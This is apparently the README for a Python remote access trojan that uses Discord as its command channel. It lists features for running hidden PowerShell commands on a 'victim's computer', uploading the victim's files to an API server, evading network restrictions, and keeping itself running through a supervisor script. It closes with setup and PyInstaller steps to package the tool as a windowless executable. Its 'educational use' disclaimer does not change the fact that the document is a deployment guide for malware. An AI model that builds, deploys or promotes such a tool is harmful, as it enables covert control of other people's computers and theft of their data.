This project is a Discord‑controlled remote command execution bot.
The bot connects to a Discord server, creates a channel named after the host machine’s public IP, and executes PowerShell commands sent through that channel. Output is returned directly to Discord.
NOTE: This program will work if you have a network that restricts imbound/internal SSH, due to the use of an external API (Discord Token).
This project is intended strictly for educational use in controlled environments.
This code is meant for educational purposes only.
It must only be used:
- On systems you own or have explicit permission to test
- In isolated, controlled environments
- For learning, demonstration, and research purposes
Misuse of remote‑execution tools can violate laws.
The author is not responsible for any misuse or damage caused by this project.
- Connects to Discord using a bot token
- Creates a host‑specific command channel
- Executes arbitrary PowerShell commands
- Streams command output back to Discord
- Graceful shutdown command (
shutdown) - Hidden PowerShell window using
CREATE_NO_WINDOW - API web server for uploading files from victim's computer
- The bot logs into Discord using a bot token.
- On startup, it retrieves the machine’s public IP and creates a dedicated text channel.
- It launches a persistent PowerShell subprocess.
- Any message sent in the channel is treated as a PowerShell command.
- Output is captured and returned to Discord in chunks (max 2000 characters).
- Sending
shutdownterminates the bot, and activates supervisor script. - Sending
hard-shutdownterminates all scripts completly.
- Python 3.8+
discord.pyrequests
Optional:
If you want to turn the .py file into an executable (.exe) you will also need:
PyInstaller
Install dependencies:
pip install discord.py requestspip install pyinstallerOpen a terminal in the same place as the .py file and enter the following command:
python -m PyInstaller --onefile --noconsole DiscordRAT.pyThis will create 2 folders, the .exe file will be in the "dist" folder.
Open a terminal window at the path of the bot.py file, then enter the following command:
python3 DiscordRAT.pyDiscord Remote Access Trojan © 2026 by The-R34per is licensed under CC BY-NC-SA 4.0. To view a copy of this license, visit https://creativecommons.org/licenses/by-nc-sa/4.0/